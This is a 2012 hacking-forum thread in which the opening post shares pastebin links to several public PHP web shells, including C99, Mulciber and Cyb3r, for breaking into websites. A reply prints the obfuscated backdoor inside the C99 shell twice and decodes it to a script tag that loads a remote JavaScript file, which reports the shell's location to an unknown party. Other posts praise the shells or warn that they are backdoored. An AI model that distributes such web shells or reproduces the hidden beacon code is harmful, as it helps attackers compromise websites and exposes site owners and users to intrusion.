Hack Forums
[Free Shells!] Mulci, Cyb3r, and some others! - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Free Shells!] Mulci, Cyb3r, and some others! (/showthread.php?tid=2625888)

[Free Shells!] Mulci, Cyb3r, and some others! - TheW3bster - Jun 27, 2012

As i am bored as death itself, I decided i'd take my small public collection and post them on here. I know they are all publics and easy to get, but still. For the lazy and the ones that "Can't be arsed" to search for them!

Mulciber.txt (Greets @ TeamPS)

http://pastebin.com/raw.php?i=phiY8gZp

C99.txt

http://pastebin.com/raw.php?i=eequwA97

c100.txt

http://pastebin.com/raw.php?i=gBHubFHg

Cyb3r-shell.txt

http://pastebin.com/raw.php?i=LXFKvsdW

Uploader.php

http://pastebin.com/raw.php?i=jybxRJXP

MORE SHELLS AT :

http://sh3ll.org/


* - Th3PonyWizard - Jun 27, 2012

Thanks, I haz now codes to check for backdoors :3

* - Iamveryveryverygay - Jun 27, 2012

You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

* - TheW3bster - Jun 27, 2012

(Jun 27, 2012 10:20 AM)Frost™ Wrote:  You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

Added to the post if you don't mind!

Thanks <3

* - Th3PonyWizard - Jun 27, 2012

clears throat
The C99 is backdoored. I manage to find two scripts which sends the shell URL to other sources. (With big help from AntiPaste :3)

http://pastebin.com/eequwA97
Look at lines 6031~6288.
You see that long array? It decodes itself to:

Code
document.write(unescape("<script type="text/javascript">document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')</script>"));

Which decodes itself to:

Code
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')

....Which decodes itself to:

Code
document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0064\u0061\u0074\u0061\u002e\u0074\u0030\u0030\u006c\u0073\u002e\u006f\u0072\u0067\u002f\u0077\u0068\u0065\u0072\u0065\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')

...WHICH FINALLY DECODES ITSELF TO *heavy sigh*:

Code
<script src="http://data.t00ls.org/where.js"></script>
That URL sends the shell to... well, someone :3

Also, there's another back-door script, but it doesn't do anything cuz of reasons.
Line 1721:
Code
<SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x6vhkvhkx6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>

Decodes itself to:
Code
<script src=http://www.prvhkvhkx6dages/yaz.js">
...Idk.

I'd recommend everyone to remove lines 6031~6288, including OP. Will go through the rest of the shells throughout the night.

* - TheW3bster - Jun 27, 2012

(Jun 27, 2012 11:51 AM)Th3PonyWizard Wrote:  *clears throat*
The C99 is backdoored. I manage to find two scripts which sends the shell URL to other sources. (With big help from AntiPaste :3)

http://pastebin.com/eequwA97
Look at lines 6031~6288.
You see that long array? It decodes itself to:

Code
document.write(unescape("<script type="text/javascript">document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')</script>"));

Which decodes itself to:

Code
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')

....Which decodes itself to:

Code
document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0064\u0061\u0074\u0061\u002e\u0074\u0030\u0030\u006c\u0073\u002e\u006f\u0072\u0067\u002f\u0077\u0068\u0065\u0072\u0065\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')

...WHICH FINALLY DECODES ITSELF TO *heavy sigh*:

Code
<script src="http://data.t00ls.org/where.js"></script>
That URL sends the shell to... well, someone :3

Also, there's another back-door script, but it doesn't do anything cuz of reasons.
Line 1721:
Code
<SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x6vhkvhkx6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>

Decodes itself to:
Code
<script src=http://www.prvhkvhkx6dages/yaz.js">
...Idk.

I'd recommend everyone to remove lines 6031~6288, including OP. Will go through the rest of the shells throughout the night.

Removed the shell and i'll mod it. Can't thank you enough <3

* - Bacardi - Jun 27, 2012

It's been soooo long since I've used Mulci. I loved that shell :D

* - TheW3bster - Jun 27, 2012

(Jun 27, 2012 11:59 AM)Bacardi Wrote:  It's been soooo long since I've used Mulci. I loved that shell :D

I find that it is the best for MySQL database manipulations ^^

* - Prominent - Jun 27, 2012

Haven't seen Mulci in a long while, thought that its gone. Good contribution.

* - soeasy - Jun 27, 2012

Really nice contribution.
Thanks 🤝

~soeasy

* - GhostSniper - Jun 27, 2012

MulCi used to a nice private shell.

* - MajorFail - Jun 27, 2012

(Jun 27, 2012 10:20 AM)Frost™ Wrote:  You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

Don't use those shells! They're backdoored..